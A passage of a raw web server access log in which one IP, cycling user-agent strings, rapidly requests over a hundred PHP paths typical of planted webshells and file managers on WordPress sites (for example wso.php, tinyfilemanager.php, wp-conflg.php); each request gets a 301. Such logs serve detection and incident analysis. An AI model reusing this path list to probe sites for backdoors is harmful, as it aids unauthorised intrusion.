Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:55 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:24:55 +0300] "GET /wp-includes/js/dist/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:55 +0300] "GET /wp-admin/css/colors/tfileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:55 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:56 +0300] "GET /wp-admin/js/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:56 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:24:56 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:24:56 +0300] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:57 +0300] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:57 +0300] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:57 +0300] "GET /waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:57 +0300] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:24:58 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:24:58 +0300] "GET /wp-admin/css/glex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:24:58 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:24:58 +0300] "GET /wp-includes/SimplePie/Parse/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:58 +0300] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:59 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:24:59 +0300] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:24:59 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:24:59 +0300] "GET /wp-content/themes/pridmag/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:00 +0300] "GET /theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:00 +0300] "GET /wp-content/themes/twentytwentytwo/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:25:00 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:25:00 +0300] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:25:00 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:25:01 +0300] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:25:01 +0300] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:01 +0300] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:02 +0300] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.92.229.34 - - [11/Feb/2026:17:25:02 +0300] "GET /css/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:02 +0300] "GET /images/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:02 +0300] "GET /wp-includes/SimplePie/Cache/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:03 +0300] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:03 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:03 +0300] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:04 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:25:04 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:04 +0300] "GET /wp-content/plugins/pwnd/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:25:05 +0300] "GET /wp-includes/widgets/class-wp-widget-search-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:25:05 +0300] "GET /wp-content/languages/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:25:05 +0300] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:06 +0300] "GET /functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:06 +0300] "GET /admin/controller/extension/extension/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:25:06 +0300] "GET /wp-includes/SimplePie/Canonical.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:06 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/uss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:07 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:07 +0300] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:07 +0300] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:25:08 +0300] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:08 +0300] "GET /wp-includes/class-feed-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:08 +0300] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:08 +0300] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:09 +0300] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:25:09 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:25:09 +0300] "GET /wp-content/themes/twentytwentyfour/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.92.229.34 - - [11/Feb/2026:17:25:09 +0300] "GET /wp-includes/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.92.229.34 - - [11/Feb/2026:17:25:10 +0300] "GET /wp-includes/class-wp-dependency-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:10 +0300] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:10 +0300] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:10 +0300] "GET /wp-includes/interactivity-api/interactivity-api-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:11 +0300] "GET /wp-includes/l10n/class-wp-widddget-pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:11 +0300] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:11 +0300] "GET /wp-admin/css/colors/light/colors.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:25:11 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.92.229.34 - - [11/Feb/2026:17:25:11 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:12 +0300] "GET /wp-includes/ID3/module.audio-video.riff-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:25:12 +0300] "GET /fog/management/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:12 +0300] "GET /wp-includes/js/tinymce/utils/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:12 +0300] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:25:13 +0300] "GET /images/wp-aespa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:25:13 +0300] "GET /wp-includes/Text/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:13 +0300] "GET /.well-known/acme-challenge/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:13 +0300] "GET /wp-content/upgrade/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:25:14 +0300] "GET /wp-content/themes/aahana/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:14 +0300] "GET /anonse/lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:14 +0300] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:25:14 +0300] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:25:15 +0300] "GET /plugins/content/apismtp/apismtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.92.229.34 - - [11/Feb/2026:17:25:15 +0300] "GET /wp-admin/includes/class-core-upgrader-first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:25:15 +0300] "GET /wp-admin/css/wp-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:25:15 +0300] "GET /.well-known/save.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:15 +0300] "GET /wp-includes/feed-rsss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:25:15 +0300] "GET /wp-includes/IXR/goto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:16 +0300] "GET /wp-admin/css/colors/blue/xboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.92.229.34 - - [11/Feb/2026:17:25:16 +0300] "GET /uploads/af32.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:16 +0300] "GET /wp-content/themes/kadence/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:16 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:16 +0300] "GET /wp-fmfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:25:17 +0300] "GET /.trash7309/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:17 +0300] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:17 +0300] "GET /wp-content/plugins/ioxi/ioxi/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:17 +0300] "GET /memberfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:17 +0300] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:25:17 +0300] "GET /modules/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:25:18 +0300] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:25:18 +0300] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:18 +0300] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:25:18 +0300] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:18 +0300] "GET /wsad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:19 +0300] "GET /nation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:19 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:19 +0300] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:19 +0300] "GET /wp-includes/js/tinymce/langs/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:25:19 +0300] "GET /autoload_classmap/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:20 +0300] "GET /wp-atomx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:25:20 +0300] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:20 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:20 +0300] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.92.229.34 - - [11/Feb/2026:17:25:20 +0300] "GET /wp-content/plugins/ubh/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:25:20 +0300] "GET /wp-includes/SimplePie/Registry-private.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) 